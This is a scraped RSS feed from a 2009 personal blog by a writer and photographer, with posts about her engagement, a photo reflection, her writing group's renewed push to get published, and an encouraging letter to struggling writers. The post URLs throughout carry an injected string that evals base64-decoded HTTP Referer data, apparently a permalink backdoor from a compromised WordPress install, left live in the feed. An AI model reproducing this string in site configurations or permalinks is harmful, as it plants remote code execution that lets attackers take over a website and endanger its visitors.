N.R. Brown - Feast at Famine's Table http://nrbrown.com The Personal Weblog for Writer/Photographer N.R. Brown Mon, 31 Aug 2009 16:03:42 +0000 http://wordpress.org/?v=2.7.1 en hourly 1 Engaged! http://nrbrown.com/2009/08/31/engaged/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://nrbrown.com/2009/08/31/engaged/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 31 Aug 2009 16:01:44 +0000 admin http://nrbrown.com/?p=295 I’m sure many of you have heard this, but for those that have not…It’s official I am engaged! Mom and Dad have been warned and the planning has begun. The date is not set in stone, but start thinking cruise! :)

]]> http://nrbrown.com/2009/08/31/engaged/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ In the eye of the…(Photo Tidbit) http://nrbrown.com/2009/08/25/in-the-eye-of-thephoto-tidbit/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://nrbrown.com/2009/08/25/in-the-eye-of-thephoto-tidbit/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 25 Aug 2009 14:01:12 +0000 admin http://nrbrown.com/?p=291 Sometimes life surprises you…you look up and see something so out of this world, so ethereal and impossible and stunning that you have to blink to make life come back into focus.
Sometimes life surprises you…you feel the heartbreak of loss for some place not someone. It shocks you so badly you feel yourself begin to cry for the sounds and the smells and wish so hard for it you feel you might be able to transport yourself if you just tried hard enough…

The doorway to another world? Another life? The fickle shifting of the wind hinting at something…at what? Tell me!

A spaceship of sky? A crystal flower of mystical import? A twisted riddle that needs an answer…what is it? What?

]]> http://nrbrown.com/2009/08/25/in-the-eye-of-thephoto-tidbit/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ CVS 2.0 (Blog Bite) http://nrbrown.com/2009/08/19/cvs-20-blog-bite/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://nrbrown.com/2009/08/19/cvs-20-blog-bite/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 20 Aug 2009 02:40:11 +0000 admin http://nrbrown.com/?p=289 I’m tired of being a fan.
I’m tired of being a wannabe writer.
And I’m ready to do something about it.

This year, attending Balticon was not as fun as it had been in the past. Why? Because I wanted to be a guest not an attendee…ok, not even a guest, but I wanted to be there as something more than a fan!
Coming back from Balticon, I shared this with the other members of CVS (my writing group). Now, with their help we are pushing CVS 2.0!

What IS CVS 2.0 you ask?
Well, it’s hard to explain, but we had gotten caught in a rut (like all writing groups do). Our submissions were down, our goals were not being reached, we were devolving into a social group.

Well, we’ve decided that is not what we want out of CVS! As a group we’ve committed to renewing our dedication to writing…and to one another! It’s time for us to push one another to write…to ask one another what we are doing to get published…to go en masse to cons and start developing the sort of web of support and acknowledgement that gets new authors the buzz they need to succeed.

Ok, so look out world…we’ve decided to leave the cats alone and come after you. And boy do we have a story to tell!!!

Peacin’ it,
Renee

P.S. Thanks to DL Thurston and Day for being so 2.0 about this new direction!!!

]]> http://nrbrown.com/2009/08/19/cvs-20-blog-bite/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ (Blog Bite) Dear Struggling Writer, http://nrbrown.com/2009/08/09/blog-bite-dear-struggling-writer/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://nrbrown.com/2009/08/09/blog-bite-dear-struggling-writer/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sun, 09 Aug 2009 13:03:47 +0000 admin http://nrbrown.com/2009/08/09/blog-bite-dear-struggling-writer/ I know you are having trouble keeping on track, I know you are fighting to keep going. I just wanted to take a second to let you know that we are there with you, we feel the same way, we are struggling with similar things. You ARE NOT alone. This is not unusual, nor is it impossible to overcome.
More importantly, I am here to tell you how talented you are! Not everyone can write. Not everyone is creative enough (even if they can write) to come up with an idea worth reading. AND not everyone is willing to make the committment to improving their writing through study, reading, critique, and conferences…
But you are.
Keep up the good work. It may seem like it is taking forever and I know you feel like you are fighting a losing battle…but you aren’t.
Your turn will come.
And your name will be on the cover/in the credits one day.
Mark my words!

Peace on,
Renee

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